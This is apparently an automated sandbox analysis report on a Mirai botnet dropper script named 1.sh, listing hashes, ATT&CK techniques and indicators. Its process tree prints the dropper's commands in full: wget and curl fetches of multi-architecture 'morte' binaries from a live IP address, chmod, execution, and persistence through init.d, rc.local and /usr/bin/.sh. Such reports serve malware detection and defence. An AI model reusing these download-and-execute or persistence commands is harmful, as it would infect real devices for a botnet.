mirai | 3d2acd9571f1e62e42aaf6d34a320d96eb07a1d4b16cce9dc74885aeb0b03f4f

Analysis

max time kernel
149s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20250619-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20250619-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
22/08/2025, 01:52

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General

Target
1.sh
Size 3KB
Sample250822-cap2vaal41
SHA256 3d2acd9571f1e62e42aaf6d34a320d96eb07a1d4b16cce9dc74885aeb0b03f4f
MD5 95f205501f8ec39971ff13e2ba4db664
SHA1 8f095ba8a86dfaa659454697e3dbfa30a35d2c41
SHA512 6cd00f823d1c1b1a525a9caf7d63d46886c0303c13cd85fdb5f9089a19d995440735db7d14d4d774ad0de62b28c41d45a04f70aafef73ab1b1cfae6e24eb0ed9
MD5 SHA1 SHA512

Score

10^/10

mirai botnet credential_access defense_evasion discovery persistence upx

Malware Config

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1534	chmod
1566	chmod
1572	chmod
1578	chmod
1584	chmod
1596	chmod
1523	chmod
1529	chmod
1554	chmod
1560	chmod
1602	chmod
1544	chmod
1590	chmod
1506	chmod
1516	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/morte.x86	1507	1.sh

Enumerates active TCP sockets 1 TTPs 2 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	1.sh
File opened for reading	/proc/net/tcp	morte.x86_64

Enumerates running processes
Discovers information about currently running processes on the system

Modifies init.d 2 TTPs 2 IoCs

Adds/modifies system service, likely for persistence.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/init.d/sysd	1.sh
File opened for modification	/etc/init.d/sysd	morte.x86_64

Modifies rc script 2 TTPs 2 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/rc.local	morte.x86_64
File opened for modification	/etc/rc.local	1.sh

Reads process memory 1 TTPs 64 IoCs

Read the memory of a process through the /proc virtual filesystem. This can be used to steal credentials.

credential_access

Proc Filesystem

T1003.007

description	ioc	Process
File opened for reading	/proc/80/maps	morte.x86_64
File opened for reading	/proc/21/maps	1.sh
File opened for reading	/proc/27/maps	1.sh
File opened for reading	/proc/175/maps	1.sh
File opened for reading	/proc/952/maps	1.sh
File opened for reading	/proc/972/maps	1.sh
File opened for reading	/proc/6/maps	morte.x86_64
File opened for reading	/proc/404/maps	morte.x86_64
File opened for reading	/proc/17/maps	1.sh
File opened for reading	/proc/23/maps	morte.x86_64
File opened for reading	/proc/31/maps	morte.x86_64
File opened for reading	/proc/160/maps	morte.x86_64
File opened for reading	/proc/652/maps	morte.x86_64
File opened for reading	/proc/888/maps	1.sh
File opened for reading	/proc/8/maps	1.sh
File opened for reading	/proc/405/maps	1.sh
File opened for reading	/proc/463/maps	1.sh
File opened for reading	/proc/677/maps	1.sh
File opened for reading	/proc/665/maps	1.sh
File opened for reading	/proc/318/maps	1.sh
File opened for reading	/proc/485/maps	1.sh
File opened for reading	/proc/935/maps	morte.x86_64
File opened for reading	/proc/79/maps	1.sh
File opened for reading	/proc/631/maps	1.sh
File opened for reading	/proc/972/maps	morte.x86_64
File opened for reading	/proc/893/maps	1.sh
File opened for reading	/proc/26/maps	1.sh
File opened for reading	/proc/19/maps	morte.x86_64
File opened for reading	/proc/24/maps	morte.x86_64
File opened for reading	/proc/595/maps	morte.x86_64
File opened for reading	/proc/888/maps	morte.x86_64
File opened for reading	/proc/962/maps	1.sh
File opened for reading	/proc/28/maps	morte.x86_64
File opened for reading	/proc/405/maps	morte.x86_64
File opened for reading	/proc/159/maps	1.sh
File opened for reading	/proc/168/maps	morte.x86_64
File opened for reading	/proc/172/maps	1.sh
File opened for reading	/proc/36/maps	morte.x86_64
File opened for reading	/proc/165/maps	morte.x86_64
File opened for reading	/proc/537/maps	1.sh
File opened for reading	/proc/167/maps	morte.x86_64
File opened for reading	/proc/204/maps	morte.x86_64
File opened for reading	/proc/13/maps	morte.x86_64
File opened for reading	/proc/14/maps	morte.x86_64
File opened for reading	/proc/172/maps	morte.x86_64
File opened for reading	/proc/175/maps	morte.x86_64
File opened for reading	/proc/489/maps	morte.x86_64
File opened for reading	/proc/36/maps	1.sh
File opened for reading	/proc/637/maps	morte.x86_64
File opened for reading	/proc/19/maps	1.sh
File opened for reading	/proc/174/maps	morte.x86_64
File opened for reading	/proc/720/maps	morte.x86_64
File opened for reading	/proc/18/maps	1.sh
File opened for reading	/proc/25/maps	1.sh
File opened for reading	/proc/542/maps	1.sh
File opened for reading	/proc/89/maps	morte.x86_64
File opened for reading	/proc/137/maps	morte.x86_64
File opened for reading	/proc/411/maps	1.sh
File opened for reading	/proc/551/maps	morte.x86_64
File opened for reading	/proc/248/maps	morte.x86_64
File opened for reading	/proc/893/maps	morte.x86_64
File opened for reading	/proc/9/maps	morte.x86_64
File opened for reading	/proc/570/maps	morte.x86_64
File opened for reading	/proc/2/maps	1.sh

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-2.dat	upx

Changes its process name 3 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself		1510	1.sh
Changes the process name, possibly in an attempt to hide itself		1538	1.sh
Changes the process name, possibly in an attempt to hide itself	init	1548	morte.x86_64

Reads system network configuration 1 TTPs 4 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp6	morte.x86_64
File opened for reading	/proc/net/tcp	1.sh
File opened for reading	/proc/net/tcp6	1.sh
File opened for reading	/proc/net/tcp	morte.x86_64

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1036/comm	1.sh
File opened for reading	/proc/677/fd	1.sh
File opened for reading	/proc/1026/fd	1.sh
File opened for reading	/proc/444/cmdline	morte.x86_64
File opened for reading	/proc/20/comm	morte.x86_64
File opened for reading	/proc/444/comm	morte.x86_64
File opened for reading	/proc/78/fd	morte.x86_64
File opened for reading	/proc/910/fd	morte.x86_64
File opened for reading	/proc/596/comm	1.sh
File opened for reading	/proc/13/comm	morte.x86_64
File opened for reading	/proc/34/comm	morte.x86_64
File opened for reading	/proc/7/fd	morte.x86_64
File opened for reading	/proc/1538/fd	morte.x86_64
File opened for reading	/proc/1552/comm	1.sh
File opened for reading	/proc/972/fd	1.sh
File opened for reading	/proc/24/cmdline	morte.x86_64
File opened for reading	/proc/115/comm	morte.x86_64
File opened for reading	/proc/164/comm	morte.x86_64
File opened for reading	/proc/1130/comm	morte.x86_64
File opened for reading	/proc/5/fd	morte.x86_64
File opened for reading	/proc/670/comm	1.sh
File opened for reading	/proc/168/fd	1.sh
File opened for reading	/proc/405/fd	1.sh
File opened for reading	/proc/1538/cmdline	morte.x86_64
File opened for reading	/proc/1128/fd	morte.x86_64
File opened for reading	/proc/84/fd	1.sh
File opened for reading	/proc/1272/comm	morte.x86_64
File opened for reading	/proc/1493/comm	morte.x86_64
File opened for reading	/proc/886/fd	morte.x86_64
File opened for reading	/proc/160/cmdline	1.sh
File opened for reading	/proc/176/fd	1.sh
File opened for reading	/proc/896/cmdline	morte.x86_64
File opened for reading	/proc/1031/maps	morte.x86_64
File opened for reading	/proc/1081/maps	morte.x86_64
File opened for reading	/proc/710/fd	morte.x86_64
File opened for reading	/proc/1289/cmdline	1.sh
File opened for reading	/proc/248/cmdline	morte.x86_64
File opened for reading	/proc/6/comm	morte.x86_64
File opened for reading	/proc/14/comm	morte.x86_64
File opened for reading	/proc/79/comm	morte.x86_64
File opened for reading	/proc/3/fd	1.sh
File opened for reading	/proc/1044/fd	1.sh
File opened for reading	/proc/1052/fd	1.sh
File opened for reading	/proc/176/comm	morte.x86_64
File opened for reading	/proc/1042/comm	morte.x86_64
File opened for reading	/proc/1052/maps	morte.x86_64
File opened for reading	/proc/1206/maps	morte.x86_64
File opened for reading	/proc/1468/fd	morte.x86_64
File opened for reading	/proc/1022/comm	1.sh
File opened for reading	/proc/1499/fd	1.sh
File opened for reading	/proc/13/cmdline	morte.x86_64
File opened for reading	/proc/1111/fd	morte.x86_64
File opened for reading	/proc/935/cmdline	1.sh
File opened for reading	/proc/888/comm	1.sh
File opened for reading	/proc/1502/fd	1.sh
File opened for reading	/proc/1499/cmdline	morte.x86_64
File opened for reading	/proc/542/fd	morte.x86_64
File opened for reading	/proc/1206/cmdline	1.sh
File opened for reading	/proc/650/comm	1.sh
File opened for reading	/proc/1052/maps	1.sh
File opened for reading	/proc/650/fd	1.sh
File opened for reading	/proc/161/cmdline	morte.x86_64
File opened for reading	/proc/1031/cmdline	morte.x86_64
File opened for reading	/proc/172/comm	1.sh

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1511	wget
1515	curl
1517	morte.mips
1519	rm

Writes file to tmp directory 30 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/morte.spc	curl
File opened for modification	/tmp/morte.i686	wget
File opened for modification	/tmp/morte.x86	curl
File opened for modification	/tmp/morte.i468	curl
File opened for modification	/tmp/morte.arm7	wget
File opened for modification	/tmp/morte.ppc	curl
File opened for modification	/tmp/morte.m68k	curl
File opened for modification	/tmp/morte.arc	wget
File opened for modification	/tmp/morte.arm	curl
File opened for modification	/tmp/morte.arm6	wget
File opened for modification	/tmp/morte.ppc	wget
File opened for modification	/tmp/morte.x86	wget
File opened for modification	/tmp/morte.arc	curl
File opened for modification	/tmp/morte.mpsl	wget
File opened for modification	/tmp/morte.arm5	wget
File opened for modification	/tmp/morte.mips	wget
File opened for modification	/tmp/morte.x86_64	wget
File opened for modification	/tmp/morte.mpsl	curl
File opened for modification	/tmp/morte.arm5	curl
File opened for modification	/tmp/morte.spc	wget
File opened for modification	/tmp/busybox	cp
File opened for modification	/tmp/morte.mips	curl
File opened for modification	/tmp/morte.x86_64	curl
File opened for modification	/tmp/morte.arm	wget
File opened for modification	/tmp/morte.m68k	wget
File opened for modification	/tmp/morte.sh4	wget
File opened for modification	/tmp/morte.sh4	curl
File opened for modification	/tmp/morte.arm6	curl
File opened for modification	/tmp/morte.arm7	curl
File opened for modification	/tmp/morte.i686	curl

/tmp/1.sh
/tmp/1.sh
1⤵
- Executes dropped EXE
- Enumerates active TCP sockets
- Modifies init.d
- Modifies rc script
- Reads process memory
- Changes its process name
- Reads system network configuration
- Reads runtime system information
PID:1499
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Writes file to tmp directory
  PID:1500
- /usr/bin/wget
  wget http://196.251.73.215/00101010101001/morte.x86
  2⤵
  - Writes file to tmp directory
  PID:1501
- /usr/bin/curl
  curl -O http://196.251.73.215/00101010101001/morte.x86
  2⤵
  - Writes file to tmp directory
  PID:1505
- /bin/chmod
  chmod +x 1.sh busybox config-err-m9shbS morte.x86 netplan_1wzl7cyd snap-private-tmp ssh-f34MeeQM4LSw systemd-private-874f91b9fceb40ea86af6c9d144cde35-bolt.service-AbBjBt systemd-private-874f91b9fceb40ea86af6c9d144cde35-colord.service-aFvWkA systemd-private-874f91b9fceb40ea86af6c9d144cde35-ModemManager.service-cLQ2oT systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-resolved.service-SXj5m7 systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-timedated.service-M3eeHb
  2⤵
  - File and Directory Permissions Modification
  PID:1506
- /bin/rm
  rm -rf morte.x86
  2⤵
  PID:1509
- /usr/bin/wget
  wget http://196.251.73.215/00101010101001/morte.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1511
- /bin/cp
  cp ./morte.x86 /usr/bin/.sh
  2⤵
  PID:1513
- /usr/bin/curl
  curl -O http://196.251.73.215/00101010101001/morte.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1515
- /bin/chmod
  chmod +x 1.sh busybox config-err-m9shbS morte.mips netplan_1wzl7cyd snap-private-tmp ssh-f34MeeQM4LSw systemd-private-874f91b9fceb40ea86af6c9d144cde35-bolt.service-AbBjBt systemd-private-874f91b9fceb40ea86af6c9d144cde35-colord.service-aFvWkA systemd-private-874f91b9fceb40ea86af6c9d144cde35-ModemManager.service-cLQ2oT systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-resolved.service-SXj5m7 systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-timedated.service-M3eeHb
  2⤵
  - File and Directory Permissions Modification
  PID:1516
- /tmp/morte.mips
  ./morte.mips morte.mips
  2⤵
  - System Network Configuration Discovery
  PID:1517
- /bin/rm
  rm -rf morte.mips
  2⤵
  - System Network Configuration Discovery
  PID:1519
- /usr/bin/wget
  wget http://196.251.73.215/00101010101001/morte.arc
  2⤵
  - Writes file to tmp directory
  PID:1520
- /usr/bin/curl
  curl -O http://196.251.73.215/00101010101001/morte.arc
  2⤵
  - Writes file to tmp directory
  PID:1522
- /bin/chmod
  chmod +x 1.sh busybox config-err-m9shbS morte.arc netplan_1wzl7cyd snap-private-tmp ssh-f34MeeQM4LSw systemd-private-874f91b9fceb40ea86af6c9d144cde35-bolt.service-AbBjBt systemd-private-874f91b9fceb40ea86af6c9d144cde35-colord.service-aFvWkA systemd-private-874f91b9fceb40ea86af6c9d144cde35-ModemManager.service-cLQ2oT systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-resolved.service-SXj5m7 systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-timedated.service-M3eeHb
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /tmp/morte.arc
  ./morte.arc morte.arc
  2⤵
  PID:1524
- /bin/rm
  rm -rf morte.arc
  2⤵
  PID:1526
- /usr/bin/wget
  wget http://196.251.73.215/00101010101001/morte.i468
  2⤵
  PID:1527
- /usr/bin/curl
  curl -O http://196.251.73.215/00101010101001/morte.i468
  2⤵
  - Writes file to tmp directory
  PID:1528
- /bin/chmod
  chmod +x 1.sh busybox config-err-m9shbS morte.i468 netplan_1wzl7cyd snap-private-tmp ssh-f34MeeQM4LSw systemd-private-874f91b9fceb40ea86af6c9d144cde35-bolt.service-AbBjBt systemd-private-874f91b9fceb40ea86af6c9d144cde35-colord.service-aFvWkA systemd-private-874f91b9fceb40ea86af6c9d144cde35-ModemManager.service-cLQ2oT systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-resolved.service-SXj5m7 systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-timedated.service-M3eeHb
  2⤵
  - File and Directory Permissions Modification
  PID:1529
- /tmp/morte.i468
  ./morte.i468 morte.i468
  2⤵
  PID:1530
- /bin/rm
  rm -rf morte.i468
  2⤵
  PID:1531
- /usr/bin/wget
  wget http://196.251.73.215/00101010101001/morte.i686
  2⤵
  - Writes file to tmp directory
  PID:1532
- /usr/bin/curl
  curl -O http://196.251.73.215/00101010101001/morte.i686
  2⤵
  - Writes file to tmp directory
  PID:1533
- /bin/chmod
  chmod +x 1.sh busybox config-err-m9shbS morte.i686 netplan_1wzl7cyd snap-private-tmp ssh-f34MeeQM4LSw systemd-private-874f91b9fceb40ea86af6c9d144cde35-bolt.service-AbBjBt systemd-private-874f91b9fceb40ea86af6c9d144cde35-colord.service-aFvWkA systemd-private-874f91b9fceb40ea86af6c9d144cde35-ModemManager.service-cLQ2oT systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-resolved.service-SXj5m7 systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-timedated.service-M3eeHb
  2⤵
  - File and Directory Permissions Modification
  PID:1534
- /bin/rm
  rm -rf morte.i686
  2⤵
  PID:1537
- /usr/bin/wget
  wget http://196.251.73.215/00101010101001/morte.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1539
- /bin/cp
  cp ./morte.i686 /usr/bin/.sh
  2⤵
  PID:1541
- /usr/bin/curl
  curl -O http://196.251.73.215/00101010101001/morte.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1543
- /bin/chmod
  chmod +x 1.sh busybox config-err-m9shbS morte.x86_64 netplan_1wzl7cyd snap-private-tmp ssh-f34MeeQM4LSw systemd-private-874f91b9fceb40ea86af6c9d144cde35-bolt.service-AbBjBt systemd-private-874f91b9fceb40ea86af6c9d144cde35-colord.service-aFvWkA systemd-private-874f91b9fceb40ea86af6c9d144cde35-ModemManager.service-cLQ2oT systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-resolved.service-SXj5m7 systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-timedated.service-M3eeHb
  2⤵
  - File and Directory Permissions Modification
  PID:1544
- /tmp/morte.x86_64
  ./morte.x86_64 morte.x86_64
  2⤵
  - Enumerates active TCP sockets
  - Modifies init.d
  - Modifies rc script
  - Reads process memory
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1545
- - /bin/sh
    sh -c "cp ./morte.x86_64 /usr/bin/.sh"
    3⤵
    PID:1550
  - - /bin/cp
      cp ./morte.x86_64 /usr/bin/.sh
      4⤵
      PID:1551
- /bin/rm
  rm -rf morte.x86_64
  2⤵
  PID:1547
- /usr/bin/wget
  wget http://196.251.73.215/00101010101001/morte.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1549
- /usr/bin/curl
  curl -O http://196.251.73.215/00101010101001/morte.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1553
- /bin/chmod
  chmod +x 1.sh busybox config-err-m9shbS morte.mpsl netplan_1wzl7cyd snap-private-tmp ssh-f34MeeQM4LSw systemd-private-874f91b9fceb40ea86af6c9d144cde35-bolt.service-AbBjBt systemd-private-874f91b9fceb40ea86af6c9d144cde35-colord.service-aFvWkA systemd-private-874f91b9fceb40ea86af6c9d144cde35-ModemManager.service-cLQ2oT systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-resolved.service-SXj5m7 systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-timedated.service-M3eeHb
  2⤵
  - File and Directory Permissions Modification
  PID:1554
- /tmp/morte.mpsl
  ./morte.mpsl morte.mpsl
  2⤵
  PID:1555
- /bin/rm
  rm -rf morte.mpsl
  2⤵
  PID:1557
- /usr/bin/wget
  wget http://196.251.73.215/00101010101001/morte.arm
  2⤵
  - Writes file to tmp directory
  PID:1558
- /usr/bin/curl
  curl -O http://196.251.73.215/00101010101001/morte.arm
  2⤵
  - Writes file to tmp directory
  PID:1559
- /bin/chmod
  chmod +x 1.sh busybox config-err-m9shbS morte.arm netplan_1wzl7cyd snap-private-tmp ssh-f34MeeQM4LSw systemd-private-874f91b9fceb40ea86af6c9d144cde35-bolt.service-AbBjBt systemd-private-874f91b9fceb40ea86af6c9d144cde35-colord.service-aFvWkA systemd-private-874f91b9fceb40ea86af6c9d144cde35-ModemManager.service-cLQ2oT systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-resolved.service-SXj5m7 systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-timedated.service-M3eeHb
  2⤵
  - File and Directory Permissions Modification
  PID:1560
- /tmp/morte.arm
  ./morte.arm morte.arm
  2⤵
  PID:1561
- /bin/rm
  rm -rf morte.arm
  2⤵
  PID:1563
- /usr/bin/wget
  wget http://196.251.73.215/00101010101001/morte.arm5
  2⤵
  - Writes file to tmp directory
  PID:1564
- /usr/bin/curl
  curl -O http://196.251.73.215/00101010101001/morte.arm5
  2⤵
  - Writes file to tmp directory
  PID:1565
- /bin/chmod
  chmod +x 1.sh busybox config-err-m9shbS morte.arm5 netplan_1wzl7cyd snap-private-tmp ssh-f34MeeQM4LSw systemd-private-874f91b9fceb40ea86af6c9d144cde35-bolt.service-AbBjBt systemd-private-874f91b9fceb40ea86af6c9d144cde35-colord.service-aFvWkA systemd-private-874f91b9fceb40ea86af6c9d144cde35-ModemManager.service-cLQ2oT systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-resolved.service-SXj5m7 systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-timedated.service-M3eeHb
  2⤵
  - File and Directory Permissions Modification
  PID:1566
- /tmp/morte.arm5
  ./morte.arm5 morte.arm5
  2⤵
  PID:1567
- /bin/rm
  rm -rf morte.arm5
  2⤵
  PID:1569
- /usr/bin/wget
  wget http://196.251.73.215/00101010101001/morte.arm6
  2⤵
  - Writes file to tmp directory
  PID:1570
- /usr/bin/curl
  curl -O http://196.251.73.215/00101010101001/morte.arm6
  2⤵
  - Writes file to tmp directory
  PID:1571
- /bin/chmod
  chmod +x 1.sh busybox config-err-m9shbS morte.arm6 netplan_1wzl7cyd snap-private-tmp ssh-f34MeeQM4LSw systemd-private-874f91b9fceb40ea86af6c9d144cde35-bolt.service-AbBjBt systemd-private-874f91b9fceb40ea86af6c9d144cde35-colord.service-aFvWkA systemd-private-874f91b9fceb40ea86af6c9d144cde35-ModemManager.service-cLQ2oT systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-resolved.service-SXj5m7 systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-timedated.service-M3eeHb
  2⤵
  - File and Directory Permissions Modification
  PID:1572
- /tmp/morte.arm6
  ./morte.arm6 morte.arm6
  2⤵
  PID:1573
- /bin/rm
  rm -rf morte.arm6
  2⤵
  PID:1575
- /usr/bin/wget
  wget http://196.251.73.215/00101010101001/morte.arm7
  2⤵
  - Writes file to tmp directory
  PID:1576
- /usr/bin/curl
  curl -O http://196.251.73.215/00101010101001/morte.arm7
  2⤵
  - Writes file to tmp directory
  PID:1577
- /bin/chmod
  chmod +x 1.sh busybox config-err-m9shbS morte.arm7 netplan_1wzl7cyd snap-private-tmp ssh-f34MeeQM4LSw systemd-private-874f91b9fceb40ea86af6c9d144cde35-bolt.service-AbBjBt systemd-private-874f91b9fceb40ea86af6c9d144cde35-colord.service-aFvWkA systemd-private-874f91b9fceb40ea86af6c9d144cde35-ModemManager.service-cLQ2oT systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-resolved.service-SXj5m7 systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-timedated.service-M3eeHb
  2⤵
  - File and Directory Permissions Modification
  PID:1578
- /tmp/morte.arm7
  ./morte.arm7 morte.arm7
  2⤵
  PID:1579
- /bin/rm
  rm -rf morte.arm7
  2⤵
  PID:1581
- /usr/bin/wget
  wget http://196.251.73.215/00101010101001/morte.ppc
  2⤵
  - Writes file to tmp directory
  PID:1582
- /usr/bin/curl
  curl -O http://196.251.73.215/00101010101001/morte.ppc
  2⤵
  - Writes file to tmp directory
  PID:1583
- /bin/chmod
  chmod +x 1.sh busybox config-err-m9shbS morte.ppc netplan_1wzl7cyd snap-private-tmp ssh-f34MeeQM4LSw systemd-private-874f91b9fceb40ea86af6c9d144cde35-bolt.service-AbBjBt systemd-private-874f91b9fceb40ea86af6c9d144cde35-colord.service-aFvWkA systemd-private-874f91b9fceb40ea86af6c9d144cde35-ModemManager.service-cLQ2oT systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-resolved.service-SXj5m7 systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-timedated.service-M3eeHb
  2⤵
  - File and Directory Permissions Modification
  PID:1584
- /tmp/morte.ppc
  ./morte.ppc morte.ppc
  2⤵
  PID:1585
- /bin/rm
  rm -rf morte.ppc
  2⤵
  PID:1587
- /usr/bin/wget
  wget http://196.251.73.215/00101010101001/morte.spc
  2⤵
  - Writes file to tmp directory
  PID:1588
- /usr/bin/curl
  curl -O http://196.251.73.215/00101010101001/morte.spc
  2⤵
  - Writes file to tmp directory
  PID:1589
- /bin/chmod
  chmod +x 1.sh busybox config-err-m9shbS morte.spc netplan_1wzl7cyd snap-private-tmp ssh-f34MeeQM4LSw systemd-private-874f91b9fceb40ea86af6c9d144cde35-bolt.service-AbBjBt systemd-private-874f91b9fceb40ea86af6c9d144cde35-colord.service-aFvWkA systemd-private-874f91b9fceb40ea86af6c9d144cde35-ModemManager.service-cLQ2oT systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-resolved.service-SXj5m7 systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-timedated.service-M3eeHb
  2⤵
  - File and Directory Permissions Modification
  PID:1590
- /tmp/morte.spc
  ./morte.spc morte.spc
  2⤵
  PID:1591
- /bin/rm
  rm -rf morte.spc
  2⤵
  PID:1593
- /usr/bin/wget
  wget http://196.251.73.215/00101010101001/morte.m68k
  2⤵
  - Writes file to tmp directory
  PID:1594
- /usr/bin/curl
  curl -O http://196.251.73.215/00101010101001/morte.m68k
  2⤵
  - Writes file to tmp directory
  PID:1595
- /bin/chmod
  chmod +x 1.sh busybox config-err-m9shbS morte.m68k netplan_1wzl7cyd snap-private-tmp ssh-f34MeeQM4LSw systemd-private-874f91b9fceb40ea86af6c9d144cde35-bolt.service-AbBjBt systemd-private-874f91b9fceb40ea86af6c9d144cde35-colord.service-aFvWkA systemd-private-874f91b9fceb40ea86af6c9d144cde35-ModemManager.service-cLQ2oT systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-resolved.service-SXj5m7 systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-timedated.service-M3eeHb
  2⤵
  - File and Directory Permissions Modification
  PID:1596
- /tmp/morte.m68k
  ./morte.m68k morte.m68k
  2⤵
  PID:1597
- /bin/rm
  rm -rf morte.m68k
  2⤵
  PID:1599
- /usr/bin/wget
  wget http://196.251.73.215/00101010101001/morte.sh4
  2⤵
  - Writes file to tmp directory
  PID:1600
- /usr/bin/curl
  curl -O http://196.251.73.215/00101010101001/morte.sh4
  2⤵
  - Writes file to tmp directory
  PID:1601
- /bin/chmod
  chmod +x 1.sh busybox config-err-m9shbS netplan_1wzl7cyd snap-private-tmp ssh-f34MeeQM4LSw systemd-private-874f91b9fceb40ea86af6c9d144cde35-bolt.service-AbBjBt systemd-private-874f91b9fceb40ea86af6c9d144cde35-colord.service-aFvWkA systemd-private-874f91b9fceb40ea86af6c9d144cde35-ModemManager.service-cLQ2oT systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-resolved.service-SXj5m7 systemd-private-874f91b9fceb40ea86af6c9d144cde35-systemd-timedated.service-M3eeHb
  2⤵
  - File and Directory Permissions Modification
  PID:1602
- /tmp/morte.sh4
  ./morte.sh4 morte.sh4
  2⤵
  PID:1603
- /bin/rm
  rm -rf morte.sh4
  2⤵
  PID:1604

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

OS Credential Dumping

T1003

Proc Filesystem

T1003.007

Discovery

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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sysd

Path /etc/init.d/sysd
Size 25B
SHA256 ba1d50d125344f273c249426ccd744d5a12e560ace41cca4bc55bd2d4a718d8f
MD5 997cb34ff6e6cded70b841c0d16c0938
SHA1 cc85c16e2fb441d86aa668f376ca7fb4b181f1ab
SHA512 1e775ca8513f2841b6a8e369071b28c48489ab6462d06525f9b6b2bf97e9c043562bd7e0217307ed64a95217a76a94a08189616831c9d3127c6b91b7544570c8
MD5 SHA1 SHA512

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busybox

Path /tmp/busybox
Size 2.0MB
SHA256 a9f0735d28f9a6a4f2634d3b144156f7b3df3b476a16a5ab0c7bdf98d74dd020
MD5 b4dede5fc0b1bad5cb8e901bde126b97
SHA1 10cbe9a418ad84a1ed297948539d37aeb58dd810
SHA512 45665ce3a42f63a01fdef517e0c4cb943efce64c8a32d3ce07ab4f1fafc23cda77f378d324342efc79dc9d2293c4b4454d06c1cf4997b9e866784de01cb546e6
SSDEEP 49152:YfQ1HrHIYLrf2uxW2kx7gRHdITdHR8MonrH1NqCgkR:WYfFVdIpGxz1E
MD5 SHA1 SHA512 SSDEEP

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morte.x86

Path /tmp/morte.x86
Size 37KB
SHA256 e8099bae8e84278b060f8651d0f601d2e3de08797024a0a13dba0138b3095b43
MD5 35bfb5c8eaa6f132e5292781fe68cea5
SHA1 d7d6b66da4086a0056f6ed01f7d24845f70dda74
SHA512 0c3df06c13e9bac432702a6222ac956956fcb7563f36986532bb1d7e6217fd60e8589fdefbffe59f3f2179125cd1d53f55f91f85b7ac5fd6d79c2ec8bbec8ae9
SSDEEP 768:7T28N9k6ot4DJrZXHqQVnXwfuY6OxUi3oQRNDfRbal+oaNVnbcuyD7UHQRjg:P28N9ytuZXHqQVngx6Of7RNDZbZNVnow
MD5 SHA1 SHA512 SSDEEP

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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